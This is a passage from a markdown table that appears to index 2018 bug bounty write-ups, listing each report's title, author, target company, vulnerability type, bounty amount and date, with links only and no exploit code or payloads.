minutes](https://medium.com/@vesirin/how-i-gained-commit-access-to-homebrew-in-30-minutes-2ae314df03ab) | [Eric Holmes
(@vesirin)](https://twitter.com/vesirin) | Homebrew | Information disclosure |
- | 08/07/2018
[Sending out phishing e-mails from
@microsoft.com](https://medium.com/bugbountywriteup/sending-out-phishing-e-mails-from-microsoft-com-84c3b918ada2) | [@si9int](https://twitter.com/si9int)
| Microsoft | HTML injection | $0 | 08/07/2018
[Unauth meetings access](https://sites.google.com/securifyinc.com/vrp-writeups/google-meet/authorization-bugs) | [Uranium238
(@uraniumhacker)](https://twitter.com/uraniumhacker) | Google | Authorization
flaw, Logic flaw | - | 08/06/2018
[Self XSS leads to blind XSS and reflected
XSS.](https://medium.com/@friendly_/self-xss-leads-to-blind-xss-and-reflected-xss-950b1dc24647) | [Friendly
(@SkeletorKeys)](https://twitter.com/Skeletorkeys) | - | Blind XSS, Reflected
XSS | $700 | 08/06/2018
[Reflected XSS Primagames.com](https://medium.com/@friendly_/reflected-xss-primagames-com-c7a641912626) | [Friendly
(@SkeletorKeys)](https://twitter.com/Skeletorkeys) | Prima Games | Reflected
XSS | - | 08/06/2018
[My First Swag Pack : A Logical Bug on
Edmodo](https://www.secjuice.com/logical-bug-at-edmodo/) | [Abartan
Dhakal](https://twitter.com/imhaxormad) | Edmodo | Logic flaw | $0, Swag |
08/05/2018
[Stored XSS in GameSkinny](https://medium.com/@friendly_/stored-xss-in-gameskinny-aa26c6a6ae40) | [Friendly
(@SkeletorKeys)](https://twitter.com/Skeletorkeys) | GameSkinny | Stored XSS |
- | 08/03/2018
[Blind-XSS in Chrome Experiments - Google (Write
Up)](https://evanricafort.blogspot.com/2018/08/blind-xss-in-chrome-experiments-google.html) | [Evan Ricafort](https://twitter.com/evanricafort) |
Google | Blind XSS | $100 | 08/03/2018
[#BugBounty — @Paytm Customer Information is at risk — India’s largest digital
wallet company](https://medium.com/@logicbomb_1/bugbounty-paytm-customer-information-is-at-risk-indias-largest-digital-wallet-company-6f7116d4b2d5) |
[Avinash Jain (@logicbomb_1)](https://twitter.com/logicbomb_1) | Paytm | IDOR
| - | 08/03/2018
[Discovering and Exploiting a Vulnerability in Android’s Personal Dictionary
(CVE-2018-9375)](https://ioactive.com/discovering-and-exploiting-a-vulnerability-in-androids-personal-dictionary/) | [Daniel
Kachakil](https://twitter.com/Kachakil) | Google | Privilege escalation,
Android flaw | - | 08/01/2018
[Exploiting a Microsoft Edge Vulnerability to Steal
Files](https://www.netsparker.com/blog/web-security/stealing-local-files-with-simple-html-file/) | [Ziyahan Albeniz](https://twitter.com/ziyaxanalbeniz) |
Microsoft | SOP bypass | - | 08/01/2018
[Shipt Subdomain TakeOver via HeroKu ( test.shipt.com
)](https://www.mohamedharon.com/2018/08/Shipttakeover.html) | [Mohamed Haron
(@m7mdharon)](https://twitter.com/m7mdharon) | Shipt | Subdomain takeover | -| 08/01/2018 | [Archived content](/assets/img/list-of-bug-bounty-writeups/Web-archives/263e718d18c80f681ad5026528c49f4d.jpg)
[Disclose Facebook Internal Server Information With A Strange
Poll](https://jmw.fyi/post/disclose-fb-intern-server-info-with-a-strange-poll)
| [Jane Manchun Wong (@wongmjane)](https://twitter.com/wongmjane) | Facebook |
Logic flaw | - | 08/01/2018
[CRLF Injection Into PHP’s cURL Options](https://medium.com/@tomnomnom/crlf-injection-into-phps-curl-options-e2e0d7cfe545) |
[TomNomNom](https://twitter.com/tomnomnom) | - | CRLF injection | - |
08/01/2018
[How I could access your internal servers, steal and modify your image
repository](https://medium.com/@POCllGO/how-i-could-access-your-internal-servers-steal-and-modify-your-image-repository-d477f79b329a) | [PoC ||
GO](https://twitter.com/darlate) | - | RCE | - | 07/31/2018
[Hacking Imgur for Fun and Profit](https://medium.freecodecamp.org/hacking-imgur-for-fun-and-profit-3b2ec30c9463) | [ Nathan
(@NathOnSecurity)](https://twitter.com/NathOnSecurity) | Imgur | Outdated
component with a known vulnerability, Information disclosure | $5,500 |
07/29/2018
[18th Acknowledgement From Microsoft](https://www.muhaddis.info/work/18th-acknowledgement-from-Microsoft/) | [Muhammad
Muhaddis](https://twitter.com/MuhaddiMu) | Microsoft | IDOR | $0, HOF |
07/29/2018
[Yahoo — Two XSSi vulnerabilities chained to steal user information. ($750
Bounty)](https://medium.com/@0xHyde/yahoo-two-xssi-vulnerabilities-chained-to-steal-user-information-750-bounty-e9bc6a41a40a) | [Brian
Hyde](https://twitter.com/@0xHyde) | Yahoo | XSSI | $750 | 07/29/2018
[Microsoft Office 365 Stored
XSS](https://www.youtube.com/watch?v=0oKHov6y6mw&feature=youtu.be) |
[@Pethuraj](https://twitter.com/Pethuraj) | Microsoft | Stored XSS | $0, HOF |
07/29/2018
[Making a Blind SQL Injection a Little Less
Blind](https://medium.com/@tomnomnom/making-a-blind-sql-injection-a-little-less-blind-428dcb614ba8) | [TomNomNom](https://twitter.com/tomnomnom) | - |
SQL injection | - | 07/28/2018
[Binary.com ClickJacking Vulnerability — Exploiting HTML5 Security
Features](https://medium.com/@ameerassadi/binary-com-clickjacking-vulnerability-exploiting-html5-security-features-368c1ff2219d) | [Ameer
Assadi](https://twitter.com/AmeerAssadi) | Binary.com | Clickjacking | - |
07/28/2018
[How I found XSS on Amazon?](https://medium.com/@codingkarma/how-i-found-xss-on-amazon-f62b50f1c336) | [Coding_Karma](https://twitter.com/karma_coded) |
Amazon | XSS | $0 | 07/26/2018
[Exfiltration via CSS Injection](https://medium.com/@d0nut/exfiltration-via-css-injection-4e999f63097d) | [d0nut](https://twitter.com/d0nutptr) | - | CSS
injection | - | 07/25/2017
[SQL Injection and A silly WAF](https://mahmoudsec.blogspot.com/2018/07/sql-injection-and-silly-waf.html) | [Mahmoud
Gamal](https://twitter.com/Zombiehelp54) | - | SQL injection | - | 07/25/2017
[Exploitation of Server Side Template Injection with Craft CMS plugin SEOmatic
<=3.1.3 [CVE-2018-14716]](http://ha.cker.info/exploitation-of-server-side-template-injection-with-craft-cms-plguin-seomatic/) | [Sebastian
(ha.cker.info)](https://twitter.com/0xB455) | Private program, SEOmatic CMS
plugin | SSTI | - | 07/24/2018
[Vulnerability in Hangouts Chat a.k.a. how Electron makes open redirect great
again](https://blog.bentkowski.info/2018/07/vulnerability-in-hangouts-chat-aka-how.html) | [Michał Bentkowski](https://twitter.com/securitymb) | Google |
Open redirect | $7,500 | 07/24/2018
[Finding hidden gems vol. 1: forging OAuth tokens using discovered client id
and client secret](https://medium.com/@mateusz.olejarka/finding-hidden-gems-vol-1-forging-oauth-tokens-using-discovered-client-id-and-client-secret-467f1cd21714) | [Mateusz Olejarka](https://twitter.com/molejarka) | - |
Information disclosure | $3,133.7 | 07/23/2018
[Unclaimed Medium Publication takeover in
WeTransfer](https://medium.com/@prial261/unclaimed-medium-publication-takeover-in-wetransfer-c268cdb51e2f) | [Prial Islam Khan
(@prial261)](https://twitter.com/prial261) | WeTransfer | Medium publication
takeover | $100 | 07/21/2018
[Google Assistant Bug Worth $3133.7 !](https://medium.com/bug-bounty-hunting/google-assistant-bug-worth-3133-7-830a03724a04) | [Circle
Ninja](https://twitter.com/circleninja) | Google | Reflective XSS | $3,133.7 |
07/21/2018
[RCE due to
ShowExceptions](https://sites.google.com/view/harshjaiswalblog/rce-due-to-showexceptions) | [Harsh Jaiswal
(@rootxharsh)](https://twitter.com/rootxharsh) | - | RCE | $5,000 | 07/20/2018
[Into the Borg – SSRF inside Google production
network](https://opnsec.com/2018/07/into-the-borg-ssrf-inside-google-production-network/) | [Enguerran Gillier](https://twitter.com/opnsec) |
Google | SSRF | $13,337 | 07/20/2018
[The call is coming from inside the house — DNS rebinding in EOSIO keosd
wallet](https://medium.com/@root_31068/the-call-is-coming-from-inside-the-house-dns-rebinding-in-eosio-keosd-wallet-e11deae05974) | [François
Proulx](https://twitter.com/francoisproulx) | EOSIO | DNS rebinding | - |
07/19/2018
[RCE on Yahoo
Luminate](https://sites.google.com/securifyinc.com/secblogs/yahoo-luminate-rce) | [Rojan Rijal](https://twitter.com/RojanRijal) | Yahoo | RCE | - |
07/19/2018
[How I was able to delete 13k+ Microsoft Translator
projects](https://haiderm.com/how-i-was-able-to-delete-13k-microsoft-translator-projects/) | [Haider Mahmood](https://twitter.com/haiderinfosec) |
Microsoft | CSRF, IDOR | $0 | 07/19/2018
[Hey Developer, Give me your API keys.!!](https://medium.com/devanshwolf/hey-developer-give-me-your-api-keys-b8c99ab1c4f5) | [Devansh
batham](https://twitter.com/devanshwolf) | Crowdin | Information disclosure |
Swag, HoF | 07/18/2018
[Bypass Admin approval, Mute Member and Posting Permissions for Only admins in
Facebook groups](https://medium.com/bugbountywriteup/bypass-admin-approval-mute-member-and-posting-permissions-for-only-admins-in-facebook-groups-ef476cb3d524) | [Sarmad Hassan
(@JubaBaghdad)](https://twitter.com/JubaBaghdad) | Facebook | Authorization
flaw, Logic flaw | - | 07/18/2018
[Hacking thousands of companies through their
helpdesk](https://medium.com/@khaled.hassan/hacking-thousands-of-companies-through-their-helpdesk-8f180a8595ef) | Khaled Hassan | - | Account takeover,
DoS, Logic flaw | - | 07/17/2018
[CVE-2018-13784: PrestaShop 1.6.x Privilege
Escalation](https://www.ambionics.io/blog/prestashop-privilege-escalation) |
Charles Fol (Ambionics Security) | PrestaShop | Privilege escalation, Improper
session management | - | 07/16/2018
[WRITE UP – TELEGRAM BUG BOUNTY – WHATSAPP N/A [“Blind” XSS Stored iOS in
messengers twins, who really care about your
security?]](http://omespino.com/write-up-telegram-bug-bounty-whatsapp-n-a-blind-xss-stored-ios-in-messengers-twins-who-really-care-about-your-security/)
| [@omespino](https://twitter.com/omespino) | Facebook | Blind Stored XSS | -| 07/16/2018
[Attacking PostgreSQL Database](https://medium.com/@vishnu0002/attacking-postgresql-database-834a9a3471bc) | Vishnuraj KV | - | Bruteforce, Weak
credentials | - | 07/16/2018
[Bug Bounty at Bangladeshi Site.](https://medium.com/@SQLiBasic/bug-bounty-at-bangladeshi-site-21da8b7eb687) | [Shaifullah
Shaon](https://twitter.com/SQLiBasic) | - | SQL injection | BDT 10,000 (~
$120) | 07/15/2018
[Should this be public
though?](https://sites.google.com/securifyinc.com/secblogs/finding-leaked-sensitive-data) | [Rojan Rijal](https://twitter.com/RojanRijal) | Shopify,
Uber | Information disclosure | $500 | 07/13/2018
[XSS in Microsoft subdomain](https://medium.com/@sudhanshur705/xss-in-microsoft-subdomain-81c4e46d6631) | [Sudhanshu
Raj](https://www.facebook.com/sudi.stark) | Microsoft | XSS | - | 07/13/2018
[The tradeRifle Vulnerability Identified in LBank Mobile Service
(CVE-2018-13363)](https://www.peckshield.com/2018/07/12/tradeRifle/) |
[PeckShield](https://www.peckshield.com) | LBank | MiTM | - | 07/12/2018
[Gsuite Hangouts Chat 5k
IDOR](https://secreltyhiddenwriteups.blogspot.com/2018/07/gsuite-hangouts-chat-5k-idor.html) | [Cam
(@SecretlyHidden1)](https://twitter.com/secretlyhidden1) | Google | IDOR |
$5,000 | 07/10/2018
[Persistent XSS at AH.nl](https://medium.com/@jonathanbouman/persistent-xss-at-ah-nl-198fe7b4c781) | [Jonathan Bouman
(@JonathanBouman)](https://twitter.com/JonathanBouman) | AH.nl | Stored XSS |
$200 | 07/09/2018
[#BugBounty - Compromising User Account- “How I was able to compromise user
account via HTTP Parameter
Pollution(HPP)”](https://medium.com/@logicbomb_1/bugbounty-compromising-user-account-how-i-was-able-to-compromise-user-account-via-http-4288068b901f) |
[Avinash Jain (@logicbomb_1)](https://twitter.com/logicbomb_1) | - | HTTP
Parameter Pollution, Password reset flaw, Account takeover | - | 07/07/2018
[Server Side Request Forgery on Vanilla
Forums](https://www.linkedin.com/feed/update/urn:li:activity:6421357227923337216)
| [Vikash Chaudhary](https://twitter.com/OffensiveHunter) | Vanilla Forums |
SSRF | - | 07/07/2018
[Latex to RCE, Private Bug Bounty
Program](https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a) | [Yasho](https://twitter.com/YShahinzadeh) | - | RCE |
- | 07/06/2018
[The $12,000 Intersection between Clickjacking, XSS, and Denial of
Service](https://samcurry.net/the-12000-intersection-between-clickjacking-xss-and-denial-of-service/) | [Sam Curry (@samwcyo)](https://twitter.com/samwcyo)
| Bustabit | Clickjacking, XSS, DoS | $12,000 | 07/04/2018
[Chaining Multiple Vulnerabilities to Gain Admin
Access](https://nahamsec.com/chaining-multiple-vulnerabilities-to-gain-admin-access/) | [Ben Sadeghipour (@nahamsec)](https://twitter.com/nahamsec) | - |
IDOR, Account takeover | - | 07/02/2018
[Bug Bounty: Tumblr reCAPTCHA vulnerability write up](https://leigh-annegalloway.com/tumblr/) | [Leigh-Anne Galloway
(@L_AGalloway)](https://twitter.com/L_AGalloway) | Tumblr | reCAPTCHA bypass,
email enumeration, username enumeration | - | 06/29/2018
[Authentication bypass in Cisco
Meraki](https://blog.takemyhand.xyz/2018/06/authentication-bypass-in-cisco-meraki.html) | takemyhand | Cisco Meraki | Authentication bypass | - |
06/29/2018
[This popular Facebook app publicly exposed your data for
years](https://medium.com/@intideceukelaire/this-popular-facebook-app-publicly-exposed-your-data-for-years-12483418eff8) | [Inti De
Ceukelaire](https://twitter.com/securinti) | Facebook, Nametests.com |
Information disclosure, Authorization flaw | $4,000 | 06/28/2018
[Take Advantage of Out-of-Scope Domains in Bug Bounty
Programs](https://ahussam.me/Take-Advantage-of-Out-of-Scope-Domains-in-Bug-Bounty/) | [Abdullah Hussam (@Abdulahhusam)](https://twitter.com/Abdulahhusam)
| - | XSS | $1,250 | 06/27/2018
[How re-signing up for an account lead to account
takeover](https://medium.com/@zseano/how-re-signing-up-for-an-account-lead-to-account-takeover-3a63a628fd9f) | [@zseano](https://twitter.com/zseano) | - |
Logic flaw, Account takeover | - | 06/26/2018
[Subdomain Takeover: Starbucks points to
Azure](https://0xpatrik.com/subdomain-takeover-starbucks/) | [Patrik
Hudak](https://twitter.com/0xpatrik) | Starbucks | Subdomain takeover | $2,000
| 06/25/2018
[Account Take over via reset
password](https://medium.com/@yassergersy/account-take-over-via-reset-password-f2e9d887bce1) | [Yasser Gersy
(@yassergersy)](https://twitter.com/yassergersy) | - | Password reset flaw,
Account takeover | $1,500 | 06/25/2018 | [Archived content](/assets/img/list-of-bug-bounty-writeups/Web-archives/e9d10b1e4c49d256d9c7fbe63bc27049.jpg)
[How I got access to local AWS info via
Jira](https://www.coengoedegebure.com/how-i-got-access-to-local-aws-info-via-jira/) | [Coen Goedegebure](https://twitter.com/CoenHimself) | - | SSRF | - |
06/24/2018
[Fastest Fix on Open Bug Bounty Platform](https://kongwenbin.com/fastest-fix-on-open-bug-bounty-platform/) | [Wen Bin KONG](https://twitter.com/kongwenbin)
| Kevag Telekom GmbH | Reflected XSS, CSRF | - | 06/24/2018
[How I hacked Apple.com (Unrestricted File
Upload)](https://medium.com/@jonathanbouman/how-i-hacked-apple-com-unrestricted-file-upload-bcda047e27e3) | [Jonathan Bouman
(@JonathanBouman)](https://twitter.com/JonathanBouman) | Apple | Unrestricted
file upload | - | 06/22/2018
[XSS in Google Colaboratory + CSP
bypass](https://blog.bentkowski.info/2018/06/xss-in-google-colaboratory-csp-bypass.html) | [Michał Bentkowski](https://twitter.com/securitymb) | Google |
XSS, CSP bypass | - | 06/21/2018
[Using a GitHub app to escalate to an organization owner for a $10,000
bounty](https://medium.com/@cachemoney/using-a-github-app-to-escalate-to-an-organization-owner-for-a-10-000-bounty-4ec307168631) |
[Tanner](https://twitter.com/itscachemoney) | Github | Authorization flaw,
IDOR | $10,000 | 06/20/2018
[Setting arbitrary request headers in Chromium via CRLF
injection](https://blog.bentkowski.info/2018/06/setting-arbitrary-request-headers-in.html) | [Michał Bentkowski](https://twitter.com/securitymb) |
Google | CRLF injection | - | 06/20/2018
[I discovered a browser bug](https://jakearchibald.com/2018/i-discovered-a-browser-bug/) | [Jake Archibald](https://twitter.com/jaffathecake) | Mozilla,
Microsoft | Browser bug, Range requests flaw | - | 06/20/2018
[[Responsible disclosure] How I could have booked movie tickets through other
user accounts](https://medium.com/bugbountywriteup/responsible-disclosure-how-i-could-have-booked-movie-tickets-through-other-user-accounts-2db26a037b4c) |
[Bharathvaj Ganesan](https://twitter.com/bharathvaj95) | AGS Cinemas |
Password reset flaw, Account takeover, Bruteforce, OTP bypass | - | 06/18/2018
[How i found blind XSS in Apple](https://medium.com/@tahasmily2013m/how-i-found-blind-xss-in-apple-c890775e745a) | [Taha
Smily](https://twitter.com/tahakhantaha) | Apple | Blind XSS | - | 06/18/2018
[Reflected Client XSS at
Amazon.com](https://medium.com/@jonathanbouman/reflected-client-xss-amazon-com-7b0d3cec787) | [Jonathan Bouman
(@JonathanBouman)](https://twitter.com/JonathanBouman) | Amazon | Reflected
XSS | $0 | 06/15/2018
[Yay! 3133.70$ for RCE on *.withgoogle.com
subdomain.](https://twitter.com/0x01alka/status/1007563380838883328?s=20) |
[lalka](https://twitter.com/0x01alka) | Google | RCE | $3,133.70 | 06/15/2018
[Password reset to full account
takeover](https://medium.com/@hamzabet/password-reset-to-full-account-takeover-8a1e0a395987) | [Hamza Bettache](https://twitter.com/Hamzabet) | - |
Password reset flaw, Account takeover | - | 06/15/2018
[Reflected XSS in 360totalsecurity](https://medium.com/@tahasmily2013m/i-have-found-vulnerability-in-360totalsecurity-is-reflected-xss-in-3a6bd602bb5a) |
[Taha Smily](https://twitter.com/tahakhantaha) | 360totalsecurity | Reflected
XSS | - | 06/14/2018
[The 2.5 BTC Stored XSS](https://medium.com/@khaled.hassan/the-2-5-btc-stored-xss-f2f9393417f2) | Khaled Hassan | - | Stored XSS | 2.5 BTC | 06/13/2018
[How I got paid premium plan for free on many popular
websites](https://medium.com/@khaled.hassan/how-i-got-paid-premium-plan-for-free-on-many-popular-websites-90e62a52416a) | Khaled Hassan | - | Logic flaw |
- | 06/13/2018
[Vulnerability Netflix (cross-site-scripting)
XSS](https://medium.com/@black_b/vulnerability-netflix-cross-site-scripting-xss-d44010142e2c) | [Bada Diaz (@bada77)](https://twitter.com/bada_77) |
Netflix | Reflected XSS | - | 06/13/2018
[Unvalidated Open Redirect
Bol.com](https://medium.com/@jonathanbouman/unvalidated-open-redirect-bol-com-b270151380e6) | [Jonathan Bouman
(@JonathanBouman)](https://twitter.com/JonathanBouman) | bol.com | Open
redirect | $100 in gift cards | 06/12/2018
[Full account Takeover via reset password
function](https://medium.com/@khaled.hassan/full-account-takeover-via-reset-password-function-8b6ef15f346f) | Khaled Hassan | - | IDOR, Account takeover,
Password reset flaw | $1,250 | 06/12/2018
[Server-Side Spreadsheet Injection – Formula Injection to Remote Code
Execution](https://www.bishopfox.com/blog/2018/06/server-side-spreadsheet-injections/) | Jake Miller | Google | CSV injection, Server side spreadsheet
injection, Formula injection, RCE | - | 06/11/2018
[How I Found CVE-2018-8819: Out-of-Band (OOB) XXE in
WebCTRL](https://www.coalfire.com/The-Coalfire-Blog/June-2018/How-I-Found-CVE-2018-8819-Out-of-Band-\(OOB\)-XXE?feed=blogs) | [Darrell
Damstedt](https://www.linkedin.com/in/darrell-damstedt-0815503a/) | - | XXE |
$0 | 06/11/2018
[[PayPal BBP] I could’ve deleted All SMC messages. Using Brute-Force
technique.](https://blog.ayoubaitelmokhtar.com/2018/06/paypal-bbp-i-couldve-deleted-all-smc.html) | [Ayoub Ait Elmokhtar](https://twitter.com/aessadek) |
Paypal | CSRF | - | 06/10/2018
[Steam, Fire, and Paste – A Story of UXSS via DOM-XSS & Clickjacking in Steam
Inventory Helper](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/index.html) | [Matthew
Bryan](https://twitter.com/IAmMandatory) | [Steam Inventory
Helper](https://chrome.google.com/webstore/detail/steam-inventory-helper/cmeakgjggjdlcpncigglobpjbkabhmjl?hl=en) Chrome extension | DOM XSS,
Clickjacking | - | 06/08/2018
[How I was able to list some internal information from PayPal
#BugBounty](https://medium.com/@adrien_jeanneau/how-i-was-able-to-list-some-internal-information-from-paypal-bugbounty-ca8d217a397c) | [Adrien
Jeanneau](https://twitter.com/adrien_jeanneau) | Paypal | Expression Language
Injection (JSTL), Information disclosure | $0 | 06/07/2018
[How I found XSS via SSRF vulnerability -Adesh
Kolte](https://medium.com/@adeshkolte/how-i-found-xss-via-ssrf-vulnerability-adesh-kolte-873b30a6b89f) | [Adesh Kolte
(@AdeshKolte)](https://twitter.com/AdeshKolte) | CERT-EU, Motorola, Stanford |
SSRF, XSS | $750 | 06/07/2018
[#BugBounty —” Database hacked of India’s Popular Sports company”-Bypassing
Host Header to SQL injection to dumping Database — An unusual case of SQL
injection.](https://medium.com/@logicbomb_1/bugbounty-database-hacked-of-indias-popular-sports-company-bypassing-host-header-to-sql-7b9af997c610) |
[Avinash Jain (@logicbomb_1)](https://twitter.com/logicbomb_1) | - | SQL
injection | - | 06/06/2018
[Zero to Account Takeover: How I ‘Impersonated’ Someone Else Using
Auth0](https://www.imperva.com/blog/2018/06/how-i-impersonated-someone-else-using-auth0/) | [Daniel Svartman](https://il.linkedin.com/in/danielsvartman) |
OAuth | Logic flaw | - | 06/05/2018
[Searching for XSS found LDAP injection](https://www.nc-lp.com/blog/searching-for-xss-found-ldap-injection) | [Davide
Tampellini](https://twitter.com/tampe125) | - | LDAP injection | - |
06/05/2018
[Are you sure this is a trusted email?](https://medium.com/@khaled.hassan/are-you-sure-this-is-a-trusted-email-291121028320) | Khaled hassan | - | Open mail
relay | $900 | 06/05/2018
[Reading Your Emails With A Read&Write Chrome Extension Same Origin Policy
Bypass (~8 Million Users Affected)](https://thehackerblog.com/reading-your-emails-with-a-readwrite-chrome-extension-same-origin-policy-bypass-8-million-users-affected/index.html) | [Matthew Bryan](https://twitter.com/IAmMandatory)
| [Read&Write](https://chrome.google.com/webstore/detail/readwrite-for-google-chro/inoeonmfapjbbkmdafoankkfajkcphgd?hl=en) Chrome extension | SOP bypass | -| 06/05/2018
[How I Hacked Fotor & Got
“Nothing”](https://hk.saowen.com/a/a8d21c0bdf39e733395aefc0e331998e3d618558f90cf06135aa4df411804e59)
| [Somdev Sangwan (D3v)](https://twitter.com/s0md3v) | Fotor | SSRF, RFI | $0
| 06/01/2018 | [Archived content](/assets/img/list-of-bug-bounty-writeups/Web-archives/204c38eb226940d72871f6204657e7f7.jpg)
[Getting PHP Code Execution and leverage access to
panels,databases,server](http://www.shawarkhan.com/2018/06/getting-php-code-execution-and-leverage.html) | [Shawar
Khan](https://twitter.com/ShawarkOFFICIAL) | - | Code execution | - |
06/01/2018
[How i converted SSRF to XSS in Jira.](https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158) | [Ashish Kunwar
(@D0rkerDevil)](https://twitter.com/D0rkerDevil) | - | SSRF, XSS | $50 |
06/01/2018
[How I Earned $750 Bounty Reward From AT&T bug Bounty -Adesh
Kolte](https://medium.com/@adeshkolte/how-i-earned-750-bounty-reward-from-at-t-bug-bounty-adesh-kolte-ae62dea44083) | [Adesh Kolte
(@AdeshKolte)](https://twitter.com/AdeshKolte) | AT&T | RCE, Clickjacking,
XSS, Same Origin Method Execution | $750 | 06/01/2018
[#Bug Bounty — How I booked a rental house for just 1.00 INR — Price
Manipulation in Citrus Pay](https://medium.com/@raghav2039/bug-bounty-how-i-booked-a-rental-house-for-just-1-00-inr-price-manipulation-in-citrus-pay-318ff6e0d8a8) | [Raghavendra Reddy](https://twitter.com/raghav2039) | - |
Parameter tampering | - | 05/31/2018
[Reflected XSS in Yahoo Subdomain ( hk.movies.yahoo.com )
](https://www.mohamedharon.com/2018/05/reflected-xss-in-hk-yahoo.html) |
[Mohamed Haron (@m7mdharon)](https://twitter.com/m7mdharon) | Yahoo! |
Reflected XSS | - | 05/30/2018 | [Archived content](/assets/img/list-of-bug-bounty-writeups/Web-archives/7710d5f398f987898ac0a0618028b663.jpg)
[5k$ for path traversal on *.paypal-corp.com
subdomain](https://twitter.com/0x01alka/status/1001763583447969792) |
[lalka](https://twitter.com/0x01alka) | Paypal | Path traversal | $5,000 |
05/30/2018
[Account Takeover and Blind XSS! Go Pro, get
Bugs!](https://blog.witcoat.com/2018/05/30/account-takeover-and-blind-xss-go-pro-get-bugs/) | [Tabahi](https://twitter.com/tabahi_90) | - | IDOR, Stored
XSS, Account takeover, Blind XSS | $3,500 | 05/30/2018
[How I found 5 store XSS on a private program. Each worth
“1,016.66$”](http://cybristerboy.blogspot.com/2018/05/how-i-found-5-store-xss-on-private.html) | [Shahzad Sadiq](https://twitter.com/ShahzadSadiq25) | - |
Stored XSS | $5,083.3 | 05/30/2018
[How I got hall of fame in two fortune 500 companies — An RCE
story…](https://medium.com/@emenalf/how-i-got-hall-of-fame-in-two-fortune-500-companies-an-rce-story-9c89cead81ff) |
[Alfie](https://twitter.com/emenalf) | - | RCE | - | 05/29/2018
[How i was able to get admin panel on a private
program](http://cybristerboy.blogspot.com/2018/05/how-i-was-able-to-get-admin-panel-on.html) | [Shahzad Sadiq](https://twitter.com/ShahzadSadiq25) | - |
Weak credentials | $1,500 | 05/29/2018
[reCAPTCHA bypass via HTTP Parameter
Pollution](https://andresriancho.com/recaptcha-bypass-via-http-parameter-pollution/) | [Andres Riancho](https://twitter.com/AndresRiancho) | Google |
HTTP parameter pollution, reCAPTCHA bypass | $500 | 05/28/2018
[Persistent XSS to Steal Passwords –
Paypal](https://wesecureapp.com/blog/persistent-xss-to-steal-passwords-paypal/) | [Akhil Reni](https://twitter.com/akhilreni_hs) | Paypal | Stored
XSS | - | 05/26/2018
[Simple IDOR to reject a to-be users invitation via their
notification](https://medium.com/@absstbh/simple-idor-to-reject-a-to-be-users-invitation-via-their-notification-ae3b919b0fef) | [Abss
TBH](https://twitter.com/abss_tbh) | WePay | IDOR | - | 05/24/2018
[How I was able to see any private album passwrod in Picturepush —
IDOR](https://medium.com/@r99tiq/idor-how-i-was-able-to-see-any-private-album-passwrod-in-picturepush-264913f45e10) | [Murtada
Kamil](https://www.facebook.com/murtada.kamil.754) | PicturePush | IDOR | - |
05/23/2018
[#BugBounty — ”How I was able to hack any user account via password
reset?”](https://medium.com/@BgxDoc/bugbounty-how-i-was-able-to-hack-any-user-account-via-password-reset-9009d84d94ff) | [Bikash
Gupta](https://twitter.com/BgxDoc) | - | IDOR, Account takeover, Password
reset flaw | - | 05/23/2018
[RCE by uploading a web.config](https://poc-server.com/blog/2018/05/22/rce-by-uploading-a-web-config/) | [003random](https://twitter.com/rub003) | - | RCE |
- | 05/22/2018
[AWS Security Flaw which can grant admin
access!](https://medium.com/ymedialabs-innovation/an-aws-managed-policy-that-allowed-granting-root-admin-access-to-any-role-51b409ea7ff0) | Sharath AV |
Amazon | Authorization flaw | - | 05/22/2018
[Getting read access on Edmodo Production Server by exploiting SSRF
](https://www.shawarkhan.com/2018/05/getting-read-access-on-edmodo.html) |
[Shawar Khan](https://twitter.com/ShawarkOFFICIAL) | Edmodo | SSRF | - |
05/21/2018
[Self-XSS + CSRF to Stored XSS](https://medium.com/@renwa/self-xss-csrf-to-stored-xss-54f9f423a7f1) | [Renwa](https://twitter.com/RenwaX23/) | - | Self
XSS, CSRF, STored XSS | - | 05/20/2018
[$36k Google App Engine
RCE](https://sites.google.com/site/testsitehacking/-36k-google-app-engine-rce)
| [Ezequiel Pereira](https://twitter.com/epereiralopez) | Google | RCE |
$36,337 | 05/20/2018
[Fastest Fix on Open Bug Bounty
Platform](https://medium.com/@kongwenbin/fastest-fix-on-open-bug-bounty-platform-4bb03ff846e8) | [Wen Bin KONG](https://twitter.com/kongwenbin) |
Kevag Telekom GmbH | XSS, CSRF | - | 05/19/2018
[How i got 100$ from one private
website](https://medium.com/@aayushpokhrel/how-i-got-100-from-one-private-website-3c62c27f6b5d) | [Aayush Pokhrel](https://twitter.com/iushpok) | - |
Information disclosure | $100 | 05/19/2018
[How i HACKED admin account via password reset IDOR function of one private
currency exchanger site](https://medium.com/@aayushpokhrel/how-i-hacked-admin-account-via-password-reset-idor-of-one-private-currency-exchanger-site-51723c7c8704) | [Aayush Pokhrel](https://twitter.com/iushpok) | - | IDOR,
Password reset flaw, Account takeover | - | 05/19/2018
[Stored XSS in Yahoo and all
subdomains!](https://medium.com/@ozil.hakim/stored-xss-in-yahoo-and-all-subdomains-bbcaa7c3b8d) | [Hakim Bencella](https://twitter.com/H4kst3r) |
Microsoft | Stored XSS | $1,500 | 05/19/2018
[Xss in Microsoft](https://medium.com/@hacker_eth/xss-in-microsoft-7a70416aee75) | hacker_eth | Microsoft | XSS | - | 05/18/2018
[How I was able to get subscription of $120/year For
Free](https://blog.securitybreached.org/2018/05/18/get-subscription-of-120-year-for-free-bug-bounty-poc/) | [Muhammad Khizer Javed / babayaga47
(@khizer_javed47)](https://twitter.com/khizer_javed47?lang=en) |
wetransfer.com | Payment bypass | $500 | 05/18/2018
[Whatsapp- DOS vulnerability on
Android/iOS/Web](https://medium.com/@pratheesh.p.narayanan/whatsapp-dos-vulnerability-on-android-ios-web-7628077d21d4) | [Pratheesh P
Narayanan](https://twitter.com/PRATHEESH_PPN) | Facebook | DoS | $500 |
05/15/2018
[HSTS Bypass Vulnerability in IE
Preview](https://medium.com/bugbountywriteup/hsts-bypass-vulnerability-in-ie-preview-fa956161fa8) | [Xiaoyin Liu](https://twitter.com/general_nfs) |
Microsoft | HSTS bypass | $0 | 05/15/2018
[How I used a simple Google query to mine passwords from dozens of public
Trello boards](https://medium.freecodecamp.org/discovering-the-hidden-mine-of-credentials-and-sensitive-information-8e5ccfef2724) | [Kushagra
Pathak](https://twitter.com/xKushagra) | Trello | Authorization flaw,
Information disclosure | $0 | 05/09/2018
